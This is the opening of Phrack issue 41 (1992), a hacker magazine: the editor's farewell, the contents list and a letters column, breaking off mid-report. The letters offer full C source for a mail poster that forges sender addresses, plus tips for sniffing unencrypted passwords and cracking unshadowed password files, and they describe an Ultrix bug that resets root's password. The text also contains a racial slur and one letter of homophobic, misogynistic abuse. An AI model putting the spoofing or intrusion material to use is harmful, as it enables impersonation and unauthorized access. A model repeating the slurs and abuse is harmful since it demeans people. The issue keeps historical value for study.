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- _
- |¬\
- /\_______ ___| \ _______/\
- \_____ ¬V. ¬| V _____/ Staff:
- _ / | .|¦ | .|___ ¬\ _/\__ _ ~~~~~~
- V. ___ .|° | ¦| | .V [Valium]/D&R-FLT
- s|¦ | :| | °| | ¦|s SCHWABENPOWER/RAZOR 1911
- c|° | ¦| | | | °|c Le'Clerk/SH¡N¡NG 8
- ~~\__| °|____ A____ /~~ TOM CRUISE / TRSI
- | | \_/ \_/ +46 521-11434
- /\__| |__ _________/\________ _________/\___ ___/\_________ ________
- \_____ ¬V ______/ ¬V. ______/ ¬\_/ ¬\______ ¬V. ¬\
- __ / | ¦| ____|. __| __|: | ¬|. |. __| __|¦ | /
- V. | °|. | ¬|: \__ ¬|¦ | .|¦ | | |¦ \__ ¬|° | /
- |¦ |____|. | |¦ | .|° | :|° | | .|° | | |_/
- s|° | |: | |° | ¦| | ¦| | | :| | .| |s
- c| | |¦ | | | °| °| | | ¦| | ¦| |c
- ~~\ _____A° ______A ______A_________A _A_A_ °A______ °A /~~
- \_/ \_/ \_/ \_/ \_/ \_/ \_/
-
-
-
- ...Just dial da fukkin` fastest on Amiga...
-
- /\_ __ /\ _ __ _/\ /\ _ _____/\ ___ /\__ /\ _
- / \/ \/ \ / \ / \ / \/ \ / \ / \/ \/ \/ \ / \
- / / / \/ \/ \/ __/ \/ \/ _ / / / \/ \
- / _/ / \ / \ \/ \ / / / /\ / \ /
- \ _____/\____/\ _/\ __/\___/\ __/\___/\___/ __/\____/\_ /\____/\ _/
- \/ \/ \/ \/ \/ \/ \/BaK
-
- ______/\ _______ _______ _______ _ ______/\ _____ _______ __/\__
- \____ \/ _____// __ / / __ / / \\____ \/ _ \/ __ // / \
- / / _>__/ \ < / \ < / \ / / / / \ < \____ /
- \ _/\ ____/\___/\ \\___/\ \\___/ \ _/\__/ _/\___/\ \/ ____/
- \/ \/ \_/ \_/ \/ \/ \_/\/
-
- - Nino Brown!/The Silents -
-
- - Barock! and Hoodlum/Crystal -
-
- + 4 9 - 2 o 8 - 6 o 9 6 1 4
-
- German Headquarter of the Silents
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-
- No fukkin` free LEECHERS here - lamer!
- §
-
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 1 of 13
-
- Issue 41 Index
- ___________________
-
- P H R A C K 4 1
-
- December 31, 1992
- ___________________
-
- ~ We've Had A Rest, We're Still The Best ~
-
- You've been waiting for this for a while and it's finally here. A lot has
- happened since the last issue. I guess I should start off with the most
- important thing as far as the administration of Phrack is concerned: Phrack 41
- is the last issue for which I will serve as editor.
-
- Why? Well for one, I was in a motorcycle wreck about a month ago and lost the
- use of my right arm for a while and, due to the related financial difficulties,
- I was forced to sell my computers and some other stuff.
-
- Secondly, due to my lack of being a rich boy and having access to a nice
- machine, I found it necessary to allow others to help me in putting out the
- past several issues and that has resulted in some things being released that I
- really wasn't happy with.
-
- However, don't get me wrong. I'm not gonna sit here and dis my friends just
- because we differ in opinion about some things. I think that the overall
- quality of the issues has been pretty good and anyone who says it's not can
- basically suck my dick, because I don't give a fuck about your opinion anyway.
-
- Thirdly, and the most important reason why I am resigning as editor of Phrack,
- is a general lack of desire on my part. I mean the whole reason I even got
- involved with doing this was because of hacking -- partly for curiosity and
- partly for being able to thumb my nose at the powers that be and other
- intellectual types that say, "You can't do/learn about that because we don't
- think blah blah blah." Like I'm supposed to give a fuck what anyone else
- thinks. The type of public service that I think hackers provide is not showing
- security holes to whomever has denied their existence, but to merely embarrass
- the hell out of those so-called computer security experts and other purveyors
- of snake oil. This is a service that is truly unappreciated and is what keeps
- me motivated. ANYWAY...if you wanna hear me rant some more, maybe I'll get to
- do my own Eleeeeet3 Pro-Phile in the future. Heh!
-
- But really, since my acquisition of Phrack, my play time has been hampered and
- consequently, I have started to become bored with it. It was great to meet a
- lot of cool people and I learned some things. It's now time for me to go back
- to doing what I like best. For anyone who's interested in corresponding, I'm
- focusing my time on radio communications, HAM radio, scanning, and cellular
- telephones. If you are interested in talking about these things to me or
- whatever, feel free to write me at dispater@stormking.com.
-
- Aside from all that, I feel that Phrack can be better. That's why issue 42
- will have a new editor and administrative staff. I'm not saying who, but you
- may be surprised. NO, it's not KL or TK either.
-
- And with that, I'm saying adios and, as Adam Grant said, "Don't get caught."
-
- Now onto the issue:
-
- In this issue's Loopback, Phrack responds to the numerous letters it has
- received over the past several months, including the return of Shit Kickin' Jim
- and a message from Rop, editor of Hack-Tic.
-
- The Racketeer (Rack of The Hellfire Club) continues his Network Miscellany
- column with plenty of new information about fake mail.
-
- Phrack Pro-Phile focuses on one of the hacking community's most mysterious
- figures: Supernigger. SN was somewhat involved with the infamous DPAK and has
- some words of wisdom to the eleets and other folks who enjoy boasting about
- their number of years in "the hacker scene."
-
- DISPATER, Phrack Editor
-
-
-
- Editor-In-Chief : Dispater
- Eleet Founders : Taran King and Knight Lightning
- Technical Consultant : Mind Mage
- Network Miscellany : The Racketeer [HFC]
- News : Datastream Cowboy
- Make-up : Hair Club for Men
- Photography : Restricted Data Transmissions
- Publicity : AT&T, BellSouth, and the United States Secret Service
- Creative Stimulus : Camel Cool, Jolt Cola, and Taco Bell
- Other Helpers : Scott Simpson, Zibby, The Weazel, The Fed, El1teZ
- Everywhere.
-
-
- "For the record, we're hackers who believe information should be free. All
- information. The world is full of phunky electronic gadgets and networks
- and we want to share our information with the hacker community."
- -- Restricted Data Transmissions
-
-
- "They are satisfying their own appetite to know
- something that is not theirs to know."
- -- Assistant District Attorney, Don Ingraham
-
-
- "The notion that how things work is a big secret is simply wrong."
- -- Hacking/Cracking conference on The WELL
-
-
-
- -= Phrack 41 =-
-
- Table Of Contents
- ~~~~~~~~~~~~~~~~~
- 1. Introduction by Dispater 07K
- 2. Phrack Loopback by Dispater and Mind Mage 52K
- 3. Phrack Pro-Phile on Supernigger 10K
- 4. Network Miscellany by The Racketeer [HFC] 35K
- 5. Pirates Cove by Rambone 32K
- 6 Hacking AT&T System 75 by Scott Simpson 20K
- 7. How To Build a DMS-10 Switch by The Cavalier 23K
- 8. TTY Spoofing by VaxBuster 20K
- 9. Security Shortcomings of AppleShare Networks by Bobby Zero 16K
- 10. Mall Cop Frequencies by Caligula XXI 11K
- 11. PWN/Part 1 by Datastream Cowboy 46K
- 12. PWN/Part 2 by Datastream Cowboy 49K
- 13. PWN/Part 3 by Datastream Cowboy 43K
- Total: 364K
-
- There is no America.
- There is no democracy.
- There is only IBM and ITT and AT&T.
- -- Consolidated
- _______________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 2 of 13
-
- [-=:< Phrack Loopback >:=-]
-
- By Dispater & Mind Mage
-
- Phrack Loopback is a forum for you, the reader, to ask questions, air
- problems, and talk about what ever topic you would like to discuss. This is
- also the place Phrack Staff will make suggestions to you by reviewing various
- items of note; books, magazines, software, catalogs, hardware, etc.
-
- In this issue:
-
- Comments on Phrack 40 : Rop Gonggrijp
- Fine Art of Telephony (re: Phrack 40) : Inhuman
- Question & Comment (BT Tymnet/AS400) : Otto Synch
- BT Tymnet article in Phrack 40 : Anonymous
- Phrack fraud? : Doctor Pizz
- Remarks & Warning! : Synaps/Clone1/Feyd
- One Ron Hults (re: Phrack 38 Loopback) : Ken Martin
- Hacking In Czecho-Slovakia : Stalker
- Phrack 40 is Sexist! : Ground Zero
- Phrack 40 is Sexist!? (PC Phrack) : Shit Kickin' Jim
- Misunderstood Hackers Get No Respect : The Cruiser
- Hackers Should Land In Jail, Not In Press : Alan Falk
- Anonymous Usenet Posting? : Anonymous
- Anonymous Mail Poster : Sir Hackalot
- Phrack On The Move : Andy Panda-Bear
- Computer Underground Publications Index : Amadeus
- Pirates v. AT&T: Posters : Legacy Irreverent
- Ultrix 4.2 Bug : Krynn
- PumpCon Hosed : Phil "The Outlander"
- 2600 Meeting Disrupted by Law Enforcement : Emmanuel Goldstein
- Two New Hardcovers : Alan J. Rothman
- _______________________________________________________________________________
-
- Letters to the Editors
- ~~~~~~~~~~~~~~~~~~~~~~
- From: rop@hacktic.nl (Rop Gonggrijp) (Editor of Hack-Tic Magazine)
- Date: August 14, 1992
- Subject: Comments on Phrack 40
-
- My compliments! You've put out one of the best issues to date. If you keep
- this up I'll have to get jealous!
-
- Rop Gonggrijp (rop@hacktic.nl) Dangerous and capable of making
- fax: +31 20 6900968 considerable trouble.
-
- ----------
-
- From: Inhuman (Sysop of Pentavia BBS)
- Date: August 18, 1992
- Subject: Fine Art of Telephony
-
- I just wanted to let you guys know that the article titled "The Fine Art of
- Telephony" was one of the best articles I've seen in Phrack in a long time.
-
- I hope to see more information on switching and general telephony in the
- future.
-
- Thanks,
-
- Inhuman
-
- ----------
-
- Date: October 22, 1992
- From: Otto Synch
- Subject: Question & Comment
-
- Hello,
-
- Reading your (huge) Phrack issue #40, and noticing that you were accepting
- comments and questions, I decided to post mine. First of all, please forgive
- the English. I'm French and can't help it :-)
-
- My comment: When I saw in the index that this issue was dealing with BT
- Tymnet, I felt very happy because I was looking for such information. And when
- I read it, I felt really disappointed. Toucan Jones could have reduced his
- whole article with the following lines:
-
- -> Find any Tymnet number.
- -> Dial and wait for the "Please log-in:" prompt.
- -> Log as user "help", no password required.
- -> Capture everything you want, it's free public information.
-
- I must say I was a bit surprised to find this kind of article in a high-quality
- magazine such as yours...
-
- My question: I'm currently trying to find out everything about a neat AS/400
- I've "found," but I never saw any "hack report" on it. Do you know if there
- are any available?
-
- OK - Let's see if you answer. We feel somewhat lonely here in the Old
- Continent...but Phrack is here to keep the challenge up!
-
- Regards,
-
- > Otto Sync <
-
- ----------
-
- From: Anonymous
- Date: August 19, 1992
- Subject: BT Tymnet article in Phrack 40
-
- Dear Phrack Staff,
-
- The BT Tymnet article in the 40th issue of Phrack was totally lame. I hate it
- when people enter Telenet or Tymnet's information facility and just buffer all
- the sh*t that's in there. Then they have the audacity to slap their name on
- the data as if they had made a major network discovery. That's so f*ck*ng
- lame!
-
- Phrack should make a policy not to accept such lame sh*t for their fine
- magazine. Is Phrack *that* desperate for articles? Crap like commercial dial-
- up lists is about as lame as posting a few random pages from the front of the
- white pages. The information is quickly outdated and easily available at any
- time to anyone. You don't hack this sh*t.
-
- Regards,
-
- Anonymous (anonymous because I don't want to hear any lame flames)
-
- [Editor's Response: We agree that buffering some dialup list is not hacking,
- however, in this specific case, a decision was made that
- not everyone had ready access to the information or even
- knew of its existence. Furthermore and more relevant to
- why the article appeared in Phrack, an article on Tymnet
- was appropriate when considering the recent events with
- the MOD case in New York.
-
- In the future, you may ask that your letter be printed
- anonymously, but don't send us anonymous mail.]
-
- ----------
-
- From: Doctor Pizz
- Date: October 12, 1992
- Subject: Phrack fraud?
-
- I recently received an ad from someone who was selling the full set of Phrack
- back issues for $100.00. I do believe that this is a violation of your rights
- to Phrack, as he is obviously selling your work for profit!
-
- The address I received to order these disks was:
-
- R.E. Jones
- 21067 Jones-Mill
- Long Beach, MS 39560
-
- It seems he is also selling the set of NIA files for $50, a set of "Hacking
- Programs" for $40, LOD Tech Journals for $25, and lots of viruses. It sounds
- like some sort of copyright violation, or fraud, as he is selling public domain
- stuff for personal profit. At least you should be aware of this. Anyway, I
- look forward to receiving future volumes of Phrack! Keep up the good work.
-
- Good luck in stopping this guy!
-
- Thank you,
-
- --Doctor Pizz--
-
- [Editor's Note: We look forward to hearing what our Phrack readers think about
- people selling hardcopies of Phrack for their own personal
- profit.]
-
- ----------
-
- From: Synaps a/k/a Clone1 a/k/a Feyd
- Date: September 2, 1992
- Subject: Remarks & Warning!
-
- Hi,
-
- I've been a regular reader of Phrack for two years now and I approve fully the
- way you continue Phrack. It's really a wonderful magazine and if I can help
- its development in France, I'll do as much as I can! Anyway, this is not
- really the goal of my letter and excuse me for my English, which isn't very
- good.
-
- My remarks are about the way you distribute Phrack. Sometimes, I don't receive
- it fully. I know this is not your fault and I understand that (this net
- sometimes has some problems!). But I think you could provide a mail server
- like NETSERV where we could get back issues by mail and just by MAIL (no FTP).
-
- Some people (a lot in France) don't have any access to international FTP and
- there are no FTP sites in France which have ANY issues of Phrack. I did use
- some LISTSERV mailers with the send/get facility. Could you install it on your LISTSERV?
-
- My warning is about a "group" (I should say a pseudo-group) founded by Jean
- Bernard Condat and called CCCF. In fact, the JBC have spread his name through
- the net to a lot of people in the Underground. As the Underground place in
- France is weak (the D.S.T, anti-hacker staff is very active here and very
- efficient), people tend to trust JBC. He seems (I said SEEMS) to have a good
- knowledge in computing, looks kind, and has a lot of resources. The only
- problem is that he makes some "sting" (as you called it some years ago)
- operation and uses the information he spied to track hackers. He organized a
- game last year which was "le prix du chaos" (the amount of chaos) where he
- asked hackers to prove their capabilities.
-
- It was not the real goal of this challenge. He used all the materials hackers
- send him to harass some people and now he "plays" with the normal police and
- the secret police (DST) and installs like a trade between himself and them.
- It's really scary for the hacking scene in France because a lot of people trust
- him (even the television which has no basis to prove if he is really a hacker
- as he claims to be or if he is a hacker-tracker as he IS!). Journalists take
- him as a serious source for he says he leads a group of computer enthusiasts.
-
- But we discovered that his group doesn't exist. There is nobody in his group
- except his brother and some other weird people (2 or 3) whereas he says there
- is 73 people in his club/group. You should spread this warning to everybody in
- the underground because we must show that "stings" are not only for USA! I
- know he already has a database with a lot of information like addresses and
- other stuff like that about hackers and then he "plays" with those hackers.
-
- Be very careful with this guy. Too many trust him. Now it's time to be
- "objective" about him and his group!
-
- Thanks a lot and goodbye.
-
- Synaps a/k/a Clone1 a/k/a Feyd
-
- ----------
-
- From: Ken Martin <70712.760@compuserve.com>
- Date: November 17, 1992
- Subject: One Ron Hults...(Phrack 38 Loopback)
-
- Dear Phrack Staff:
-
- This letter is concerning the letter in the Phrack Loopback column (#38, April
- 20, 1992) written by one Ron Hults. It suggests that all children should be
- disallowed access to a computer with a modem.
-
- The news release to which it is attached attempts to put an idea in the
- reader's mind that everything out there (on bulletin boards) is bad. Anyone
- who can read messages from "satanic cultists, pedophile, and rapists" can also
- read a typical disclaimer found on most bulletin boards which have adult
- material and communication areas available to their users, and should be able
- to tell the SysOp of a BBS how old he/she is.
-
- A child who is intelligent enough to operate a computer and modem should also
- be able to decide what is appropriate for him/her to read, and should have the
- sense enough to avoid areas of the BBS that could lead to trouble, and not to
- give their address and home phone number to the Charles Manson idols. (It is a
- fact that all adolescents have thoughts about sex; nothing can change that.
- The operator of a BBS also has the moral responsibility to keep little kids out
- of the XXX-Rated GIF downloading area.)
-
- One problem with that is BBSes run by the underground type (hack/phreak, these
- usually consist of people from 15-30 years of age). The operators of these let
- practically anyone into their system, from my experiences. These types of
- BBSes often have credit card numbers, telephone calling card numbers, access
- codes to credit reporting services, etc., usually along with text-file
- documents about mischievous topics. Mr. Hults makes no mention of these in his
- letter and press release. It is my belief that these types of systems are the
- real problem. The kids are fascinated that, all of a sudden, they know how to
- make explosives and can get lots of anything for free.
-
- I believe that the parents of children should have the sense enough to watch
- what they are doing. If they don't like the kind of information that they're
- getting or the kind of messages that they're sending to other users, then that
- is the time to restrict access to the modem.
-
- I am fifteen years old, and I can say that I have gotten into more than my
- share of trouble with the law as a result of information that I have obtained
- from BBSes and public communications services like CompuServe. The computer is
- a tool, and it always will be. Whether it is put to good use or not depends on
- its user. I have put my computer/modem to use in positive applications more
- than destructive ones.
-
- I would like Mr. Hults to think about his little idea of banning children from
- modem use, and to think about the impact it would have on their education.
- Many schools use computers/modems in their science and English curriculums for
- research purposes.
-
- Banning children from telecommunications is like taking away connection to the
- outside world and all forms of publication whatsoever when one takes a look
- around a large information service like CompuServe or GEnie, and sees all of
- the information that a service like this is capable of providing to this
- nation.
-
- Thanks,
-
- Ken Martin (70712.760@compuserve.com)
- a.k.a. Scorpion, The Omega Concern, Dr. Scott
-
- ----------
-
- From: Stalker
- Date: October 14, 1992
- Subject: Hacking In Czecho-Slovakia
-
- Hi there!
-
- I'm student from Czecho-Slovakia (for some stupid person who doesn't know, it's
- in middle Europe). Call me Stalker (if there is other guy with this name, call
- me what you want). If you think that computers, networks, hacking and other
- interesting things are not in Eastern Europe, you're WRONG. I won't talk
- about politicians. They really make me (and other men from computers) sick!
- I'll tell you what is interesting here right now.
-
- Our university campus is based on two main systems, VMS and ULTRIX. There's
- VAX 6000, VAX 4000, MicroVAX, VAXStation and some oldtimer machines which run
- under VMS. As for hacking, there's nothing interesting. You can't do some
- tricks with /etc/passwd, there's no main bug in utilities and commands. But,
- as I know, VMS doesn't crypt the packets across the network so you can take
- some PC and Netwatch (or any other useful software ) and try to see what
- is interesting on the cable. You can grab anything that you want (usernames,
- passwords, etc.).
-
- Generally, students hate VMS and love UNIX-like systems. Other machines are
- based on ULTRIX. We have DECstations (some 3100, some 5000) and one SM 52-12
- which is something on VAX-11 :-(. It is a really slow machine, but it has
- Internet access! There's many users so you can relatively easily run Crack
- (excellent program) since passwd is not shadowed. Another useful thing is tftp
- (see some other Crack issues). There was a machine with enabled tftp, but
- after one incident, it was disabled.
-
- I would like to tell you more about this incident but sysadmins are still
- suspecting (they probably read my mail). Maybe after some months in other
- articles. Now I can tell you that I'm not a real UNIX-GURU-HACKER, but the
- sysadmins thought that I was. Someone (man or girl, who knows) has hacked one
- (or two) machines on our campus. Administrators thought that I was this
- mysterious hacker but I am not! He/she is much better than I and my friends.
- Today no one knows who the hacker is. The administrator had talked to him/her
- and after some weeks, gave him/her an account. He/she probably had root
- privileges for some time and maybe has these today. He/she uses a modem to
- connect. His/her login name is nemo (Jules Verne is a popular hero). I will
- try to send mail to him/her about Phrack and maybe he/she will write
- interesting articles about himself.
-
- And some tips. Phrack is very interesting, but there's other interesting
- official files on cert.org (192.88.209.9) available via anonymous FTP. This
- is the Computer Emergency Response Team (CERT) FTP server. You can find
- interesting information here about bugs in actual software, but you will see
- only which command or utility has the bug, not how to exploit it. If you are
- smart enough, there's nothing to say.
-
- If you are not, you must read Phrack! :-)
-
- Bye,
-
- Stalker
-
- ----------
-
- From: Ground Zero
- Date: August 25, 1992
- Subject: Phrack 40 is Sexist!
-
- Hi, just a quick comment about Phrack's account of SummerCon:
-
- I don't think your readers need to know or are really interested in hearing
- about the fact that Doc Holiday was busy trying to pick up girls or that there
- were some unbalanced teeny-boppers there offering themselves to some of the
- SummerCon participants. Also, as a woman I don't care for your
- characterizations of females in that file.
-
- I'm not trying to nitpick or be politically correct (I hate PC), I'm just
- writing because I felt strongly enough about it. Ciao.
-
- Ground Zero (Editor of Activist Times, Inc./ATI)
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- From: Shit Kickin' Jim
- Date: September 11, 1992
- Subject: Phrack 40 is Sexist!? (PC Phrack)
-
- Listen here woman. I don't know whut yer big fat butt thinks Phrack wuz tryin'
- to insinuate. Lemme tell yew a thang er two. First of all, Phrack ain't run
- by some little pip-squeek faggot ass pansies. Ah mean wut are you sum kinda
- hOmOsexual? Here's what ah mean. NOW here iz a real story 'bout me and one a
- my bestest friends: 4x4 Phreaker.
-
- See 4x4 Phreaker come down to Texas fur a little hackin adventure. Even though
- he lives up there in Yankee-land, 4x4 Phreaker iz a pretty good ol' boy.
- Whuddya think real manly hackers do when they get together? Go stop by Radio
- Shack and buy shrink wrap?
-
- HELL NO! We fuckin' went to Caligula XXI. Fur yew ol' boys that ain't from
- 'round here er yer a fauygut out there that might be readin this, Caligula XXI
- specializes in enertainmunt fer gennelmen.
-
- Now, me and 4x4 Phreaker didn't go to hawk at some fat nasty sluts like you
- might see at your typical Ho-Ho Con. We went with the purpose in mind of seein
- a real movie star. Yup Christy Canyon was in the house that night. 4x4
- Phreaker and me sat down at a table near the front. At that point I decided
- that I'd start trollin for babes. Yep that's right I whipped out an American
- Express Corporate Gold card. And I'll be damned if it weren't 3 minutes later
- me and 4x4 Phreaker had us 2 new found friends for the evening.
-
- So anywayz, yew can see we treated these two fine ladies real nice and they
- returned the favor. We even took em to Waffle House the next mornin'. So I
- dunno where yew git off by callin us sexist. Yer just some Yankee snob big
- city high horse woman who expects to be a takin care of.
-
- God bless George Bush and his mistress Jennifer whutz her name.
-
- :Shit Kickin' Jim (Madder than a bramer bull fightin a mess of wet hornets)
-
- _______________________________________________________________________________
-
- Misunderstood Hackers Get No Respect August 10, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by The Cruiser (ComputerWorld)(Page 24)(Letters to the Editor)
-
- I just read the replies to Chris Goggans' "Hackers aren't the real enemy"
- [ComputerWorld, June 29], and I thought I'd address a few of the points brought
- up. I'm a hacker -- which means that I'm every system administrator's
- nightmare.
-
- Hardly. Many hackers are politically aware activists. Besides being fueled by
- an obsession for mastering technology (I call it a blatant disregard for such),
- true hackers live and obey a strict moral code.
-
- All this talk about the differences between voyeurism and crime: Please, let's
- stop comparing information access to breaking into someone's house. The
- government can seize computers and equipment from suspected hackers, never to
- return it, without even charging a crime. I will not sit back and let Big
- Brother control me.
-
- The Cruiser
- _______________________________________________________________________________
-
- Hackers Should Land In Jail, Not In Press October 19, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Alan Falk (ComputerWorld)(Page 32)(Letters to the Editor)
-
- The letters you get from avowed hackers seem to glorify the virtues of hacking.
- I find this very disturbing for a simple reason: It completely ignores the
- issue of private property.
-
- The computer systems they hack into (pun intended) and the databases they try
- to access, as well as the data in the databases, are private property.
-
- An analogous argument might be that breaking and entering a jewelry store and
- taking off with some valuables is really a way of testing the security controls
- at the jeweler's establishment. They're really just doing it for the
- excitement and challenge.
- Would they promote voyeurism based on the "logic" that "after all, if they
- didn't want me to look, they'd have pulled the drapes closer together?"
-
- The fact that there's challenge or excitement involved (or even commitment,
- intellect or whatever) does not change the issue.
-
- I suggest that hackers who gain entry to systems against the wishes of the
- systems' owners should be treated according to the laws regarding unlawful
- entry, theft, etc.
-
- Alan Falk
- Cupertino, California
- _______________________________________________________________________________
-
- Anonymous Usenet Posting?
- ~~~~~~~~~~~~~~~~~~~~~~~~~
- Date: August 19, 1992
- From: Anonymous
-
- I've read in Phrack all about the different ways to send fake mail, but do any
- of the readers (or Mind Mage) know anything about anonymous newsgroup posting?
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Anonymous Mail Poster August 4, 1992
- ~~~~~~~~~~~~~~~~~~~~~
- by Sir Hackalot
-
- Here is some C source to a simple "anonymous" mail poster that I wrote a LONG
- time ago. It's just one of many pieces of code I never gave to anyone before.
- You may find it useful. Basically, it will connect to the SMTP port and
- automate the sending. It will allow for multiple recipients on the "To:" line,
- and multiple "To:" lines.
-
- From: sirh@sirh.com
-
- ------ Cut here for fm.c -----
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <signal.h>
- #include <fcntl.h>
- #include <errno.h>
-
-
- int openSock(name,port)
- char *name;
- int port;
-
- {
- int mysock,opt=1;
- struct sockaddr_in sin;
- struct hostent *he;
- he = gethostbyname(name);
- if (he == NULL) {
- printf("No host found..\n");
- exit(0);
- }
-
- memcpy((caddr_t)&sin.sin_addr,he->h_addr_list[0],he->h_length);
- sin.sin_port = port;
-
- sin.sin_family = AF_INET;
-
- mysock = socket(AF_INET,SOCK_STREAM,0);
-
- opt = connect(mysock,(struct sockaddr *)&sin,sizeof(sin));
-
- return mysock;
-
- }
-
- /* This allows us to have many people on one TO line, seperated by
- commas or spaces. */
-
- process(s,d)
- int d;
- char *s;
- {
- char *tmp;
- char buf[120];
-
- tmp = strtok(s," ,");
-
- while (tmp != NULL) {
- sprintf(buf,"RCPT TO: %s\n",tmp);
- write(d,buf,strlen(buf));
- tmp = strtok(NULL," ,");
- }
-
- }
-
-
-
- getAndSendFrom(fd)
- int fd;
- {
- char from[100];
- char outbound[200];
-
- printf("You must should specify a From address now.\nFrom: ");
- gets(from);
-
- sprintf(outbound,"MAIL FROM: %s\n",from);
- write(fd,outbound,strlen(outbound));
-
-
-
- }
-
- getAndSendTo(fd)
- int fd;
- {
- char addrs[100];
-
- printf("Enter Recipients, with a blank line to end.\n");
-
- addrs[0] = '_';
-
- while (addrs[0] != '\0') {
- printf("To: ");
- gets(addrs);
- process(addrs,fd);
- }
-
- }
-
- getAndSendMsg(fd)
- int fd;
- {
- char textline[90];
- char outbound[103];
-
- sprintf(textline,"DATA\n");
- write(fd,textline,strlen(textline));
-
-
- printf("You may now enter your message. End with a period\n\n");
- printf("[---------------------------------------------------------]\n");
-
- textline[0] = '_';
-
- while (textline[0] != '.') {
- gets(textline);
- sprintf(outbound,"%s\n",textline);
- write(fd,outbound,strlen(outbound));
- }
-
- }
-
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
-
- char text[200];
- int file_d;
-
- /* Get ready to connect to host. */
- printf("SMTP Host: ");
- gets(text);
-
- /* Connect to standard SMTP port. */
- file_d = openSock(text,25);
-
- if (file_d < 0) {
- printf("Error connecting to SMTP host.\n");
- perror("smtp_connect");
- exit(0);
- }
-
- printf("\n\n[+ Connected to SMTP host %s +]\n",text);
-
- sleep(1);
-
- getAndSendFrom(file_d);
-
- getAndSendTo(file_d);
-
- getAndSendMsg(file_d);
-
- sprintf(text,"QUIT\n");
- write(file_d,text,strlen(text));
-
- /* Here we just print out all the text we got from the SMTP
- Host. Since this is a simple program, we didnt need to do
- anything with it. */
-
- printf("[Session Message dump]:\n");
- while(read(file_d,text,78) > 0)
- printf("%s\n",text);
- close(file_d);
- }
- ----- End file fm.c
- _______________________________________________________________________________
-
- From: Andy Panda-Bear
- Date: September 25, 1992
- Subject: Phrack on the move
-
- To Whom It May Concern:
-
- I love reading your Phrack articles and find them very, very informative as
- well as helpful. I was wondering in you've ever or plan to put together a
- compendium of related articles. For instance, you could make a Phrack guide to
- telephony and include all telephone/telecommunications articles. Perhaps a
- "Phrack Guide to UNIX" or "Phrack Guide to Internet" could be produced. It
- could have reprints of past articles along with commentaries by individuals who
- care to share their knowledge. Anyway it's just something to think about.
-
- Thanks for many megabytes of useful info and keep it coming.
-
- Later,
-
- Andy Panda-Bear
-
- ----------
-
- Computer Underground Publications Index
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Amadeus
-
- I just finished the new edition of the Phrack Index, now called the Computer
- Underground Publications Index since it now includes the issues of the Legion
- of Doom Tech Journals and Informatik.
-
- You can get it from ftp.uu.net as /tmp/CUPindex
-
- I have already sent it to da folks at CUD so that they may enter it into their
- archives.
-
- The CUP has been updated to included all the Phracks up to 40.
-
- C'ya
-
- Amadeus
- _______________________________________________________________________________
-
- Pirates v. AT&T: Posters August 8, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~
- by Legacy Irreverent (legacy@cpu.cyberpnk1.sai.com)
-
- On May 24 1992, two lone Pirates, Legacy of CyberPunk System, and Captain
- Picard of Holodeck, had finally had enough of AT&T. Together, they traveled to
- the AT&T Maintenance Facility, just west of Goddard, Kansas, and claimed the
- property in the name of Pirates and Hackers everywhere. They hoisted the Jolly
- Roger skull and crossbones high on the AT&T flagpole, where it stayed for 2
- days until it was taken down by security.
-
- This event was photographed and videotaped by EGATOBAS Productions, to preserve
- this landmark in history. And now you can witness the event. For a limited
- time we are offering a 11" x 17" full color poster of the Jolly Roger Pirate
- flag flying high over AT&T, with the AT&T logo in plain view, with the caption;
- "WE CAME, WE SAW, WE CONQUERED." These are $5.50 each and are laminated.
-
- Also available, by request is a 20" x 30" full color photograph, and a cotton
- T-shirt with the same full color picture on the front, for $20 each.
-
- If you are interested in purchasing any of the above items, simply send check
- or money order for the amount to:
-
- CyberPunk System
- P.O. Box 771027
- Wichita, KS 67277-1072
-
- A GIF of this is also available from CyberPunk System, 1:291/19, 23:316/0,
- 72:708/316, 69:2316/0. FREQ magicname PIRATE
-
- Any questions, send them to Legacy@cpu.cyberpnk1.sai.com
-
- _______________________________________________________________________________
-
- Ultrix 4.2 Bug
- ~~~~~~~~~~~~~~
- By Krynn
-
- A bug was discovered in Ultrix 4.2 upgrade version. It involves npasswd, and
- root. It is quite simple, and a patch/fix is available. Here is a description
- of the hole:
-
- Sys Admin's username: mradmin
- Any user's username : mruser
-
- Okay, mruser has forgotten his password, which isn't good. Mruser goes to
- mradmin and asks mradmin to change his password to newpass. Mradmin does so.
-
- Mradmin now will su to root, and npasswd mruser. He will enter mruser's new
- password, newpasswd. It will appear in the /etc/passwd that mruser's password
- is a "*" (shadowed), and that it has been changed, but it hasn't.
-
- The password changed was root's, meaning root's password is now newuser.
-
- A fix is available via anonymous ftp at:
-
- black.ox.ac.uk /src/npasswd.enhanced.shar.Z
-
- The original is there as /src/npasswd jpl.tar.Z
- _______________________________________________________________________________
-
- PumpCon Hosed November 5, 1992
- ~~~~~~~~~~~~~
- by Phil "The Outlander"
-
- PumpCon '92 was held this past weekend at the Westchester Courtyard by
- Marriott, and was shut down in spades.
-
- It began like any typical hacker/phreak/cyberpunk's convention, with lots of
- beer, lots of shooting the bull, and lots of people from around the country,
- except that the guests got sloppy, stupid, noisy, and overconfident.
-
- The manager of the hotel, accompanied by three town of Greenborough police
- officers, entered the room at approximately 10pm on Saturday. The manager had
- received complaints about noise and vandalism from some of the hotel's other
- guests. She claims to have tried to call the room several times before
- physically entering, but the room's telephone line was consistently busy.
-
- The police officers noticed the multiple open (and empty) beer bottles
- scattered around the room and were gearing up to make some arrests for
- "Unlawful Possession of Alcoholic Beverages by Underage Persons" when one of
- the policemen spotted an Amiga, connected to a US Robotics modem, which was in
- turn connected to the suite's phone line. The "stolen" calling card was all
- the probable cause necessary to upgrade the charges to "Wire Fraud."
-
- Everyone in the suite was detained for questioning. Standard investigation
